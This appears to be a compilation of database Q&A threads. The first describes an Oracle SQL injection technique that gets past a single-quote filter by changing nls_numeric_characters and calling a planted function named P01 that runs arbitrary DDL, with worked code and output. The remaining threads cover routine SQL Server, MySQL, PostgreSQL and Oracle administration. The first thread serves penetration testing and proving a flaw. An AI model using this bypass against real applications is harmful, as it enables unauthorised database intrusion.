Is there any way to break out of the string and inject SQL without using a single quote in oracle? I'm testing an oracle based application and I've found the following code:

Query = "SELECT name FROM employees WHERE id='"+PKID+"';"

i.e. the query string contains quotes around the PKID value which is obtained straight from the URL.

Obviously, this is a classic SQL injection waiting to happen...except the application is behind CA SiteMinder which blocks any URL with a single quote (in any form) from being passed to the application.

Is there any way to break out of the string and inject SQL without using a single quote?

Edit: Sorry, I should have been clearer - I understand how it should be written, but I need to persuade people that it's an exploitable issue. At the moment because it's behind siteminder which blocks single quotes so it's going to be a low priority fix.

Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.

The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.

By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:

alter session set nls_numeric_characters = 'PZ';

This means that "P" is now the decimal point and "Z" is the thousands separator. So:

0P01

Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:

Create a basic "get by id" function:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

And we're good to go:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t!

While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format can allow similar things to be done.

The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.


Unexpected Log Shipping Error I was trying to Configure Log shipping through SSMS (SQL server Management Studio) in between Failover Cluster Instance (Principal Server) and Standalone (Secondary Server), Once I click OK button to finish the Log Shipping configuration, Backup on Primary completed successfully but for Restore to secondary it throws error. I am using existing Drives with required Permissions granted.

Error message:

It means I need to Create a separate folder and assign permissions?

To summarize what we hashed out in the comments, yes, you will first need to setup a file share with proper permissions as part of the Prerequisites outlined in the Configure Log Shipping Guide provided by Microsoft.

Once you have the fileshare created, you should be able to connect to it using a UNC path similar to \\servername\sharedFolder


Need help with SQL Server configuration I was planning to buy the SQL Server 2012 standard edition for developing reports and SSIS packages. My company does not have a client-server architecture and the developers are working on their individual machines connected through the Lan.

I am really confused now on how should I configure the installation so that the developers will be able to connect to the server. Do I need to buy an individual licence for each machine (which is quite costly). Is there any alternative to the same?

I have searched the internet for similar solutions but was unable to find any. Please guide me in the right direction.

Thanks in advance.

Install the database engine on the server, then Management Studio on each developer's machine.

Assuming they have permissions, the developers can then use Management Studio to connect to the database on the server.

Because Management Studio is free, you only need to ensure the server-based SQL Server instance is licensed.


SQL Server 2016 maximum server memory Does max server memory for SQL Server 2016 contain buffer pool plus in-memory columnstore plus in-memory OLTP, etc. cache?

Please visit this link.
There are exact explanations about the memory limits especially in confunction with SQL Server 2016 SP1.

  In simpler terms, buffer pool memory in SQL Server is a memory cache responsible for caching data and index pages for the entire instance. The rest of the caches in the SQL Server memory (procedure cache, thread stack, backup buffers etc) consumes memory outside buffer pool memory. The memory consumed by caches outside buffer pool is not restricted by above memory limits and can grow up to limits defined by "max server memory". This is not specific to SQL Server 2016 SP1 and is also applicable to earlier releases of SQL Server as well.

And

  For example: A Standard Edition of SQL Server has buffer pool memory limited to 128GB, so the data and index pages cached in buffer pool is limited by 128GB. Starting with SQL Server 2016 SP1, you can have an additional 32GB of memory for Columnstore segment cache per instance and an additional 32GB of memory quota for In-Memory OLTP per database. In addition, there can be memory consumed by other memory consumers in SQL Server which will be limited by "max server memory" or total memory on the server if max server memory is uncapped.


What's the difference between DBA and DA? In categorization of users I have seen two different categorizations:

First one:

End user
DBA
DBP

and Second one:

End user
DBA
DA

What's the difference between DA and DBA ?

According to this and that, a DA is a Data Administrator.  The DA is a buisness oriented individual more involved in requirements gathering, analysis, and design than the DBA.  They establish the flow of data around the organization and between databases and other systems.  Here is a section from the second site:

  Database Administration

  Any reasonably sized organization that relies on a database for its business
  processes will probably have a Database Administrator or DBA.

  The DBA is responsible for:

  Installing and configuring the DBMS
  Assisting in the implementation of information systems
  Monitoring the performance of the database and tuning the DBMS for optimal performance
      Maintaining documentation including recording all changes to the database and DBMS.
  Ensuring data integrity is maintained and appropriate backups are made.

  Thus a DBA is mainly concerned with the day to day operational aspects of database systems.

  Data Administration

  Many organizations, in addition to DBAs, will also have a Data Administrator.
  DAs are concerned with the data needs and data flows throughout the entire organization.
  Thus DAs are responsible for:

  Specifying data standards across databases
  Establishing policies: data usage, security and authorization, data flows into and out of the organization
  Assisting the application development process by identifying data resources in the organization
  Arbitrating the sharing of data across departments
  Increasing the return on an organization's data investment


why stored procedure performance is very high compared to plain select query I have a table with more than 2 million rows, with needed indexes.

When I run a simple query it takes so much time so I decide to stop executing it; while when I wrap the query in a stored procedure, it runs very quickly (<100 ms)!

Also sp_executesql for the same query acts like stored procedure and runs very fast.

I just want to no why the plain query is slow? Is this normal?

I've indexed my table, so I do not think this is because of my lack of indexes

This is plain query:

SELECT  [t1].[Id]
    FROM    ( SELECT TOP ( 201 )
                        [t0].[Id]
              FROM      [dbo].[Logs] AS [t0]
              WHERE     [t0].[DeviceId] = 40
                        AND ArrivalDateTime >= '2012-10-12'
              ORDER BY  [t0].[Id] ASC
            ) AS [t1]
    ORDER BY [t1].[Id] ASC

This is procedure:

CREATE PROC TestProc
(
  @datetime DATETIME2(0) ,
  @deviceId INT
)
AS
BEGIN
        DECLARE @dataTimeLocal DATETIME2(2);
        SET @deviceIdLocal = @datetime

    DECLARE @did INT= @deviceId;
    SELECT  [t1].[Id]
    FROM    ( SELECT TOP ( 201 )
                        [t0].[Id]
              FROM      [dbo].[Logs] AS [t0]
              WHERE     [t0].[DeviceId] = @deviceIdLocal
                        AND ArrivalDateTime >= @dataTimeLocal
              ORDER BY  [t0].[Id] ASC
            ) AS [t1]
    ORDER BY [t1].[Id] ASC
END

and Logs table:

CREATE TABLE [dbo].[Logs](
[Id] [int] IDENTITY(1001,1) NOT NULL,
[DeviceId] [int] NOT NULL,
[TypeId] [tinyint] NOT NULL,
...
other non related fields
...
[YearFa] [smallint] NULL,
[MonthFa] [tinyint] NULL,
[DayFa] [tinyint] NULL,
[Year] [smallint] NULL,
[Month] [tinyint] NULL,
[Day] [tinyint] NULL,
[Hour] [tinyint] NULL,
[DeviceLogNumber] [int] NULL,

CONSTRAINT [PK_Logs] PRIMARY KEY CLUSTERED
(
    [Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

SET ANSI_PADDING ON
GO

ALTER TABLE [dbo].[Logs] ADD  CONSTRAINT [DF_LogsGs828S_DeviceId]  DEFAULT ((1)) FOR [DeviceId]
GO

ALTER TABLE [dbo].[Logs] ADD  CONSTRAINT [DF_Logs_TypeId]  DEFAULT ((1)) FOR [TypeId]
GO

ALTER TABLE [dbo].[Logs] ADD  CONSTRAINT [DF_LogsGs828S_ArrivalDateTime]  DEFAULT (getdate()) FOR [ArrivalDateTime]
GO

ALTER TABLE [dbo].[Logs]  WITH NOCHECK ADD  CONSTRAINT [FK_Logs_Devices] FOREIGN KEY([DeviceId])
REFERENCES [dbo].[Devices] ([Id])
ON UPDATE CASCADE
ON DELETE CASCADE
GO

Update1:

For some dates like '2010/10/10' in where clause query runs immediately but for some dates like '2012/01/10' it takes so long (19 secs)!!

This is execution plan of the query:

Could you check your execution plans for the procedure/query? The execution plan of a procedure is also compiled and stored in the library section, while most of the times, the one for a query is computed ad-hoc (not always though). But still, the generation of a execution plan, surely doesn't take that long. So maybe, because of expired statistics (for instance), the plan of the query is not optimal, while the one stored in the procedure it is.

In other words, a good starting point are the plans. If you wish, you could post them here. Then you could check the resource profiles under each operation it is executed, to make sure that both of them are able to use the same amount of resources.


How to run bcp utility from root drive? My machine does not have full SQL Server installed. The following distributable packages are installed on my machine:-

Microsoft® SQL Server® 2008 R2 Command Line Utilities
Microsoft® SQL Server® 2008 R2 Native Client

I have a batch file that runs the bcp utility. If i run this batch file from the folder where bcp.exe is sitting (...tools\binn) it works.

My dump question is if there is any way I can run the bcp utility from c:\ drive only. Right now if it run from c:\ drive it says:-

  bcp is not recognized as an internal or external command,..

You would need to add the folder containing bcp.exe to the environment variables search path.


SSRS Domain Migration My company is currently going through a data center migration.  We are now down to the SQL Servers and this includes SSRS.  The bad thing that is going to hit us is the current SSRS server is being migrated to a new domain.  So all users/groups that have access to SSRS are in DomainA and after the migration the SSRS server will be in DomainB.

All user and groups were migrated from DomainA to DomainB, supposidly using the preserve SIDs.  During a test we could not get this to work.

So DomainA\User1 does not work when server is changed to DomainB.

We have over 70,000 combinations of user permissions and group permissions across all of our reports.

Does anyone have any suggestions or ideas on how we can properly migrate this server from DomainA to DomainB without having to manually duplicate the security settings.

Note:  This is a virtual machine and is being replicated from one VMWare cluster to one on the new network and then will be dis-joined from DomainA and joined to DomainB.  Service accounts will be changed to DomainB and backup of encryption key will be restored after service account is changed.

I would go back to testing and find out why the SID migration did not work. It is a migration Microsoft supports with Active Directory. I would suggest engaging the support for the Data Center you are moving to for assistance. (or even Microsoft...)

If the SIDs cannot be fixed your only option is going to be recreating the accounts and permissions. Thinking about it, since Data Center moves could be in your future again (or at least the companies) you might rethink some of those permissions where all of it is groups, even if you are dealing with one account currently.

You can execute queries against the ReportServer instance to get those permissions, but not one to modify the logins and such.


How to change user running audits mssql I've been tasked with setting up our SQL server audits - despite having never done this before. So please forgive a really basic question.

I setup a specific user, sqlAudits, that I would like to own the audits.

How can I configure an audit to run under the sqlAudits account?

I've searched for hours but all I find it how to audit users, not how to change the account running the audit.

Can anyone point me in the right direction?

despite having never done this before

that's not a problem at all - I just would recommend you do all this on a test server first. the whole process. then you do it in live.

This is how I would do it:

you create the domain account sqlaudits as you mentioned and take note of its password as you will need it later on
create a login for sqlaudit on the server you want to audit
grant sqlaudits all the permissions it might need: on that server

Check the permissions for altering an audit:

a)To create, alter, or drop a server audit, principals require the ALTER ANY SERVER AUDIT or the CONTROL SERVER permission.

b)Users with the ALTER ANY SERVER AUDIT permission can create server audit specifications and bind them to any audit.
run ssms as a different user using the sqlaudits account credentials

to run ssms a different user press the shift and right click on the ssms icon and that will give the options below:

Now you are sqlaudits and the objects you create will be technically owned by you


SSMS - Query variables from Table Design Mode > Column Description I need to query the description of the Sales.SalesOrderHeader.Status column from the AdventureWorks OLTP, which looks like this:

| SalesOrderID | RevisionNumber | OrderDate  | ShipDate   | Status |
+--------------+----------------+------------+------------+--------+
| 43659        | 8              | 2011-05-31 | 2011-06-12 | 5      |

Instead of the status column being linked as a foreign key to a status table with a description column, the status description appears in the Table Design Mode's column description:

The closest script I've been able to find to query the status description is from Devioblog: Retrieving Table and Column descriptions in SQL Server.

SELECT sys.objects.name AS TableName
  , sys.columns.name AS ColumnName
  , ep.name AS PropertyName
  , ep.value AS Description
FROM sys.objects
  INNER JOIN sys.columns ON sys.objects.object_id = sys.columns.object_id
    CROSS APPLY fn_listextendedproperty(default,
              'SCHEMA', schema_name(schema_id),
              'TABLE', sys.objects.name,
              'COLUMN', sys.columns.name) ep
WHERE sys.objects.name='SalesOrderHeader'
  AND sys.columns.name='Status'
ORDER BY sys.objects.name, sys.columns.column_id

Result:

TableName        | ColumnName | PropertyName   | Description
-----------------+------------+----------------+--------------------------------------------------------------------------------------------------------------
SalesOrderHeader | Status     | MS_Description | Order current status. 1 = In process; 2 = Approved; 3 = Backordered; 4 = Rejected; 5 = Shipped; 6 = Cancelled

The problem with this is that all of the variables are housed as one value in the ep.value AS Description field, but I need to query them separately based on what's in the Sales.SalesOrderHeader.Status column. Pseudo-query:

SELECT ep.value
FROM sys.columns
LEFT OUTER JOIN Sales.SalesOrderHeader ON sys.columns.ep.value=Sales.SalesOrderHeader.Status

Desired Result:

| Status  |
+---------+
| Shipped |

I'd suggest to create either an actual table with the status and id itself and create a FK to the SalesOrderHeader.Status table and my code below will convince you :)

So below would be a formatted implementation of what you'll probably need, as you can see it's a long winding road just to join a column.You may modify below and put it inside a udf if you don't want to go to an actual table.

;WITH src
AS (
    --#1 get extended info description meta attribute
    SELECT sys.objects.name                AS TableName,
           sys.columns.name                AS ColumnName,
           ep.name                         AS PropertyName,
           CAST(ep.value AS NVARCHAR(255)) AS Description
    FROM sys.objects
        INNER JOIN sys.columns ON sys.objects.object_id = sys.columns.object_id
        CROSS APPLY fn_listextendedproperty(
                                               DEFAULT,
                                               'SCHEMA',
                                               SCHEMA_NAME(schema_id),
                                               'TABLE',
                                               sys.objects.name,
                                               'COLUMN',
                                               sys.columns.name
                                           ) ep
    WHERE sys.objects.name = 'SalesOrderHeader' AND
          sys.columns.name = 'Status'
),

src2 AS (
   --#2 Retain only status description to be extracted later
   SELECT SUBSTRING(src.Description, CHARINDEX('.', src.Description) + 1, 255) descd
   FROM src
 )
   --#3 extract id and description
SELECT CAST(SUBSTRING(x.StatusDesc, 1, CHARINDEX('=', x.StatusDesc) - 1) AS TINYINT) AS StatusId,
       LTRIM(RTRIM(SUBSTRING(x.StatusDesc, CHARINDEX('=', x.StatusDesc) + 1, 255)))  AS StatusDesc
FROM
(
    SELECT LTRIM(RTRIM(m.n.value('.[1]', 'varchar(8000)'))) AS StatusDesc
    FROM
    (
        --#3.1 generate rows from the delimited data of status description
        SELECT CAST('<XMLRoot><RowData>' + REPLACE(src2.descd, ';', '</RowData><RowData>') + '</RowData></XMLRoot>' AS XML) AS x
        FROM src2
    )                                           t
        CROSS APPLY x.nodes('/XMLRoot/RowData') m(n)
) x;


optimize mysqldump for approx. 20GB databases for 8GB RAM MySQL server having following specifications:

8GB RAM
Data & Index of size 49.64GB
Dump file size is 17.24GB(18512936320 Bytes)
CPU:

Processor: Intel(R) Core(TM) i5-3330 CPU @ 3.00GHz
Architecture:   x86_64
vendor: Intel Corp.
size: 2400MHz
capacity: 2400MHz
width: 64 bits

OS:

Distributor ID:    Ubuntu
Description:   Ubuntu 14.04.5 LTS
Release:   14.04
Codename:  trusty

Free memory(RAM): this may be variable on specific time

         total       used       free     shared    buffers     cached

Mem:          7.7G       5.2G       2.5G        15M        44M       4.6G
-/+ buffers/cache:       597M       7.1G
Swap:         7.9G        61M       7.8G

Database 98% tables are InnoDB and rest of it are MyISAM.

I have used following query:

mysqldump -u root -p --single-transaction --routines --events --triggers --all-databases | gzip > all_databases_backup.sql.gz

I have tried following Global variables :

key_buffer_size = 512M
Innodb_buffer_pool_size = 1024M
innodb_io_capacity = 2000
innodb_read_io_threads = 64
innodb_write_io_threads = 64
innodb_thread_concurrency = 0

To optimize the backup total time but not only able to reduce the time even 1 min.

With default settings it is taking min : 27mins
With the setting shown above it takes :  26mins

Is there any thing else I have to configure to optimize mysqldump?

I'm not sure about serious improvement of total time, but below some recommendations:

I suggest You - convert all tables into InnoDB format, and adjust memory for InnoDB:

Innodb_buffer_pool_size = 4096M

To main reasons - optimisation for single engine more easy to tune and MyISAM not affected by --single-transaction

Split dump and GZIP

I do not know, what part of table You have in MyISAM, but it always better - finish all works with database as fast as possible, than continue other steps

GZIP is may be exactly slowest part of Your script and it really not optimised. It use single core not depending how many of them You have.


verify barman backed up files after failure I have a barman that get backups from a postgres installed on another server. its config is:

    active: True
    archive_mode: on
    archived_count: 47588
    archiver: True
    archiver_batch_size: 0
    backup_method: rsync
    backup_options: BackupOptions(['exclusive_backup'])
    bandwidth_limit: None
    check_timeout: 30
    compression: gzip
    custom_compression_filter: None
    custom_decompression_filter: None
    disabled: False
    failed_count: 0
    immediate_checkpoint: True
    is_archiving: True
    is_superuser: True
    last_archived_time: 2018-11-17 14:49:58.810545+03:30
    last_archived_wal: 0000000100002ACC0000003B
    last_backup_maximum_age: 7 days (latest backup: 6 hours, 3 minutes, 11 seconds )
    last_failed_time: None
    last_failed_wal: None
    max_incoming_wals_queue: None
    minimum_redundancy: 1
    msg_list: []
    network_compression: True
    parallel_jobs: 15
    path_prefix: None
    pgespresso_installed: False
    post_archive_retry_script: None
    post_archive_script: None
    post_backup_retry_script: None
    post_backup_script: None
    pre_archive_retry_script: None
    pre_archive_script: None
    pre_backup_retry_script: None
    pre_backup_script: None
    recovery_options: RecoveryOptions([])
    replication_slot: None
    replication_slot_support: True
    retention_policy: REDUNDANCY 2
    retention_policy_mode: auto
    reuse_backup: None
...

about some days ago we had some problem on postgres and barman failed to back up. now as I list backup logs I see this:

20181117T011505 - Sat Nov 17 08:46:53 2018 - Size: 2.2 TiB - WAL Size: 9.8 GiB (tablespaces: ...)
20181116T011506 - Fri Nov 16 08:48:28 2018 - Size: 2.2 TiB - WAL Size: 38.3 GiB (tablespaces: ...)
20181114T011504 - FAILED

I checked my postgres tablespace and its size is exactly 2.2TB.
Now the questions are:

are backups correct?
did I lost data due to downtime?

Use the standard barman commands: barman status, barman show-backup and barman check-backup. See documentation.


Moving the data between partitions in a table There is one table with partition, where partition function and scheme is defined like below:

 CREATE PARTITION FUNCTION DateRangePF (CHAR(8))
  AS RANGE RIGHT FOR VALUES ('20180101','20190101')

 CREATE PARTITION SCHEME DateRangePS
  AS PARTITION DateRangePF TO (Y2018FG, Y2019FG);

There are lot of data into the partition with boundary value '20190101' and we decided to partition it into 4 parts with following boundary values and associated file groups:

'20190101' with file group Y012019FG,
'20190401' with file group Y042019FG,
'20190701' with file group Y072019FG,
'20191001' with file group Y102019FG.

Now, what could be the best strategy to switch the data from older single partition with boundary value '20190101' to these four partitions?

Now, what could be the best strategy to switch the data from older
  single partition with boundary value '20190101' to these four
  partitions?

Assuming your partitioned table is aligned, use a similarly partitioned staging table for the partition maintenance. This will avoid the costly data movement and logging when non-empty partitions are split.

Below is an example gleaned from the DDL in your question. Note that your partition scheme DDL is incorrect since the partition function with 2 boundaries creates 3 partitions, with the first being for data prior to year 2018. All 3 partitions must be mapped to a filegroup so I used PRIMARY in this script. Not sure why you chose CHAR(8) instead of DATE for the partitioning column data type since DATE requires only 4 bytes per row compared to 8.

--1) create a staging partition function, scheme, and aligned staging table like the original but with different names:

CREATE PARTITION FUNCTION DateRangePF_Staging (CHAR(8))
    AS RANGE RIGHT FOR VALUES ('20180101','20190101');

CREATE PARTITION SCHEME DateRangePS_Staging
    AS PARTITION DateRangePF_Staging TO ([PRIMARY], [Y2018FG], [Y2019FG]);

 CREATE TABLE YourTable_Staging (
      PartitioningColumn CHAR(8) NOT NULL
    , OtherColumn int NOT NULL
) ON DateRangePS_Staging(PartitioningColumn);

CREATE CLUSTERED INDEX cidx
    ON YourTable_Staging(PartitioningColumn)
    ON DateRangePS_Staging(PartitioningColumn);
CREATE NONCLUSTERED INDEX ncidx
    ON YourTable_Staging(OtherColumn)
    ON DateRangePS_Staging(PartitioningColumn);
GO

--2) `SWITCH` the '20190101' partition into the staging table:

 ALTER TABLE YourTable
    SWITCH PARTITION $PARTITION.DateRangePF('20190101')
    TO YourTable_Staging PARTITION $PARTITION.DateRangePF_Staging('20190101');

--3) split the original partition function to create new boundaries (the split partition is empty after `SWITCH`):

ALTER PARTITION SCHEME DateRangePS
    NEXT USED Y2019FG;
ALTER PARTITION FUNCTION DateRangePF()
    SPLIT RANGE('20190401');
ALTER PARTITION SCHEME DateRangePS
    NEXT USED Y2019FG;
ALTER PARTITION FUNCTION DateRangePF()
    SPLIT RANGE('20190701');
ALTER PARTITION SCHEME DateRangePS
    NEXT USED Y2019FG;
ALTER PARTITION FUNCTION DateRangePF()
    SPLIT RANGE('20191001');
GO

--4) repartition the staging table and indexes using the original partition scheme:

CREATE CLUSTERED INDEX cidx
    ON YourTable_Staging(PartitioningColumn)
    WITH(DROP_EXISTING=ON)
    ON DateRangePS(PartitioningColumn);
CREATE NONCLUSTERED INDEX ncidx
    ON YourTable_Staging(OtherColumn)
    WITH(DROP_EXISTING=ON)
    ON DateRangePS(PartitioningColumn);

ALTER TABLE YourTable_Staging
    SWITCH PARTITION $PARTITION.DateRangePF('20190101')
    TO YourTable PARTITION $PARTITION.DateRangePF('20190101');
ALTER TABLE YourTable_Staging
    SWITCH PARTITION $PARTITION.DateRangePF('20190401')
    TO YourTable PARTITION $PARTITION.DateRangePF('20190401');
ALTER TABLE YourTable_Staging
    SWITCH PARTITION $PARTITION.DateRangePF('20190701')
    TO YourTable PARTITION $PARTITION.DateRangePF('20190701');
ALTER TABLE YourTable_Staging
    SWITCH PARTITION $PARTITION.DateRangePF('20191001')
    TO YourTable PARTITION $PARTITION.DateRangePF('20191001');
GO

--5) update stats after SWITCH
UPDATE STATISTICS YourTable;
GO

--6) drop staging objects
DROP TABLE YourTable_Staging;
DROP PARTITION SCHEME DateRangePS_Staging;
DROP PARTITION FUNCTION DateRangePF_Staging;
GO


Circular references for tracking currently active entity I want to store active entity in one of my tables let's say I have 2 tables:

Pirate
Ship

Named it like that to keep things interesting

I want each pirate to own many ships but have only one active ship. For that Ship will have PirateId column and Pirate will have ActiveShipId. Obviously for that to work one of those columns has to be NULLable depending on the order I insert new entries.

I also have IsActive column on the Ship table, ActiveShipId is supposed to be a shortcut and will possibly give me better performance - Lets suppose I want to get active ship without circular reference:

SELECT * FROM Ship WHERE PirateId = @0 AND IsActive = 1

With circular references:

SELECT * FROM Ship WHERE Id IN (SELECT ActiveShipId FROM Pirate WHERE Id = @0)

Will this kind of circular reference cause me any problems?
Is there any better way to design this schema?
Is ActiveShipId redundant when I have IsActive, or will it provide any performance benefits?

The ActiveShipId isn't neccesary, because you already have an indicator at Ship table that says if the Ship is active or not. Assuming that a Pirate could own more than one Ship, and a Ship belongs only to a Pirate, then the you're modelling correctly (except the ActiveShipId workaround, it needs to be removed).

Also, by applying that workaround, you're ensuring that a Ship could belong to multiple Pirates. However, in case this not fit your needs, then give us more information about your modelling requirements.


What is the best SQL server backup strategy for large DB with few tables and lots of immutable data? We have a large DB (500GB and expanding). 95%+ of the data is stored in 3 tables (one table has 2bn+ rows). The data is largely immutable - i.e. once it's added it's only then read afterwards. We can't archive old data.

We're using SQL Server 2017 which allows for compressed backups but even then it takes a long time to backup and copy across the wire to backup server.

We'd like to speed up this process (and for DR purposes have the backups in the cloud - probably Azure) - Differential backups are small enough, but I think that we'd still need to regularly take full backups (e.g. full each weekend and differential each night is still a problem for us)

My feeling is to use partitioning to split the large tables on some sensible column (clustered on identity ID) then we can back up the older partitions just once and mark them as read-only and not need to back it all again.

This is not an ideal situation as we're going to need to keep adding more partitions in the future. Also the DB cannot be taken down for more than a few minutes so I think I'm going to have to make a shadow version of the data with the partitions then do some switch-over so reduce downtime which is a bit risky and complicated.

If anyone has backup strategies for this sort of DB configuration that they think would work better (or can confirm that this seems like a good idea given the constraints that I have) I'd be glad to hear :)

Additional information:

Current backup schedule:

Full backup (nightly) - compressed backups are about 100 GB (500 GB uncompressed) and take about 40 minutes (with compression)
Log backups (Every 10 minutes) - Almost instant and only about 20 MB each.

Now I know that, for some, 40 minutes is not a very long and time and 100 GB is not a very large file, but I also know that given that 95%+ of the data is immutable and could be safely backed up only once, the backups could take less than a couple of minutes and be a couple of gigabytes (and that's being conservative).

I believe that partitioning is one of the tools used to help manage backups and specifically for this type of scenario, and I am hoping to get someone with real-world experience with this (or SQL Server based alternatives for my scenario) to shed some light on what works for them.

I think you should look into log shipping once you get it setup your 10 minutes logs can be shipped to the server, so only changes are updated.

Assuming the log shipping destination is also where you want your backups kept, you can do backups there.  Other then the initial backup, you can run for years and only ship the logs.

You could take full backups at both your primary and log shipping destination. That way you would have backups in both locations, and your only data moving daily is the logs being shipped.

Alternately you can use AlwaysOn instead of log shipping for the same effect.

Licensing: I am not an expert on licensing, but my understanding is that if the Log shipping (or AlwaysOn) destination instance is for DR only, there is no additional cost.


How to avoid implicit conversion for an Integer column SELECT [BusinessEntityID],[NationalIDNumber],[LoginID],[OrganizationNode]
  FROM [AdventureWorks2014].[HumanResources].[Employee]
  where BusinessEntityID = 5

I get convert_implicit() function called by SQL Server after executing the query in Actual Execution Plan.

  SELECT [BusinessEntityID],[NationalIDNumber],[LoginID],[OrganizationNode]
  FROM [AdventureWorks2014].[HumanResources].[Employee]
  where BusinessEntityID = convert(int,5)

Obviously when I explicitly convert the Scalar value to Integer type, convert_implicit() function is not called. Is there any way we can avoid implicit conversion for a scalar int value without using the explicit conversion. Also I would like to know the performance difference between implicit conversion ,explicit conversion and no conversion happened at all.

How to avoid implicit conversion for an Integer column

It is the parameter that has been implicitly converted, not the column.

The query has been subject to Simple Parameterization by SQL Server. You have no control over the datatypes used in this process. It uses the smallest datatype that can hold the literal value (5 can fit into a tinyint). The implicit cast of a tinyint parameter to an int won't cause any problems.

However to avoid having multiple plans in cache for int, smallint, tinyint and get rid of the implicit cast you could explicitly parameterize the query yourself - with a parameter of datatype int rather than having it be parameterized automatically.

EXEC sys.sp_executesql
  N'SELECT [BusinessEntityID],[NationalIDNumber],[LoginID],[OrganizationNode]
  FROM [AdventureWorks2014].[HumanResources].[Employee]
  where BusinessEntityID = @BusinessEntityID',
  N'@BusinessEntityID INT',
  @BusinessEntityID = 5;

One other alternative would be to block simple parameterisation by adding a redundant AND 1=1 as below. But I don't recommend this as then you will get plans compiled and cached for every different literal value that you pass.

SELECT [BusinessEntityID],
       [NationalIDNumber],
       [LoginID],
       [OrganizationNode]
FROM [AdventureWorks2014].[HumanResources].[Employee]
where BusinessEntityID = 5
      AND 1=1


Using the same table twice in a select returns duplicate rows I'm currently trying to put together something that will tell me the name of two important tables each of our customers use. Sadly, the names of these tables are not always the same, so I've currently come up with the following T-SQL;

create table #test  (   [Database] sysname,
                                    [TenantId] sysname,
                                    [TasksTable] sysname,
                                    [TimeRecordTable] sysname   )

insert into #test
select      db_name() as [Database],
                SCHEMA_NAME(tbl.schema_id) as [TenantId],
                tbl.name AS [TasksTable],
                tbl2.name AS [TimeRecordTable]
from    sys.tables tbl,
            sys.tables tbl2
where tbl.name IN ('Tasks', 'Task', 'Tasks_NEW', 'Task_NEW')
and     tbl2.name IN ('TaskTimeRecord','TaskTimeRecord_NEW')
and     SCHEMA_NAME(tbl.schema_id) = '2'

select * from #test
drop table #test

When running this, I'm getting over 200 rows of duplicated data, instead of a single line that includes the results I'm looking for.

Does anyone have any suggestions on how to get this working?

You could use a subquery

SELECT DB_NAME() as DBName,
       SCHEMA_NAME(t.schema_id) as SchemaName,
       t.name as TaskTable,
       (SELECT t2.Name from sys.tables t2 where t2.name in ('TaskTimeRecord_NEW','TaskTimeRecord') and t2.schema_id = t.schema_id) as TimeRecordTable
FROM sys.tables t
WHERE  t.name IN ('Tasks', 'Task', 'Tasks_NEW', 'Task_NEW');

However, if there is more than one tablename returned by the subquery, the query will fail with the following error:

  Subquery returned more than 1 value. This is not permitted when the
  subquery follows =, !=, <, <= , >, >= or when the subquery is used as
  an expression.

If more than one tablename could be returned

If the subquery is an issue due to multiple table names, you could create a comma separated string with FOR XML PATH('').

SELECT DB_NAME() as DBName,
       SCHEMA_NAME(t.schema_id) as SchemaName,
       t.name as TaskTable,
       stuff(((SELECT ', '+ t2.Name from sys.tables t2 where t2.name in ('TaskTimeRecord_NEW','TaskTimeRecord') and t2.schema_id = t.schema_id for xml path(''))), 1, 2, '') as TimeRecordTable
FROM sys.tables t
WHERE  t.name IN ('Tasks', 'Task', 'Tasks_NEW', 'Task_NEW');

If both the subquery and the main query could return multiple tablenames

And you still need one row per schema, you could create two comma separated strings

SELECT DISTINCT DB_NAME() as DBName,
       SCHEMA_NAME(t.schema_id) as SchemaName,
       stuff(((SELECT ', '+ t2.Name from sys.tables t2 where t2.name in ('Tasks', 'Task', 'Tasks_NEW', 'Task_NEW') and t2.schema_id = t.schema_id for xml path(''))), 1, 2, '') as TaskTable,
       stuff(((SELECT ', '+ t3.Name from sys.tables t3 where t3.name in ('TaskTimeRecord_NEW','TaskTimeRecord') and t3.schema_id = t.schema_id for xml path(''))), 1, 2, '') as TimeRecordTable
FROM sys.tables t
WHERE  t.name IN ('Tasks', 'Task', 'Tasks_NEW', 'Task_NEW','TaskTimeRecord_NEW','TaskTimeRecord');


Oracle 11g database datafile addition to ASM without '+' sign what will happen, if we miss the '+' sign while adding datafile to ASM in oracle 11g database? Whether datafile added will be ASM based or Non-ASM based?

If you miss the '+' sign, there will be several scenarios:

db_create_file_dest is set and points to ASM (i.e: +DATA):
The database will take 'DATA' as an alias and will create ASM file on the destination associated with the 'DATA' alias that will be located at the ASM +DATA root directory.
db_create_file_dest is set and points to filesystem:
It should be quite obvious that you'll have a new 'DATA' file in the location pointed at the parameter.
db_create_file_dest is not set (worst scenario):
The database will default to $ORACLE_HOME/dbs and create a datafile there with the name 'DATA'.

A final piece of advice: Set the db_create_file_dest to point to the ASM DATA disk group and remove the datafile name parameter from your command:

alter tablespace CWSC add datafile size 100M AUTOEXTEND ON;

As you may know, even if you give a name to the datafile, when it's created on ASM, that name becomes an alias and the real filename is set by the ASM instance itself.

I hope this info helps you.


Customer table with last order id - violate normalization? So I'm looking at a customers table that has a relationship with an orders table. There is a trigger in place to set the last_order_id field of the customers table whenever a order it placed. Does having a last_order_id violate normalization rules? Specifically 3rd normal form? And what would be a better methodology for this type of work?

No it does not violate normalization rules because NF forms are defined in terms of dependency rules that involve ONLY A SINGLE TABLE.

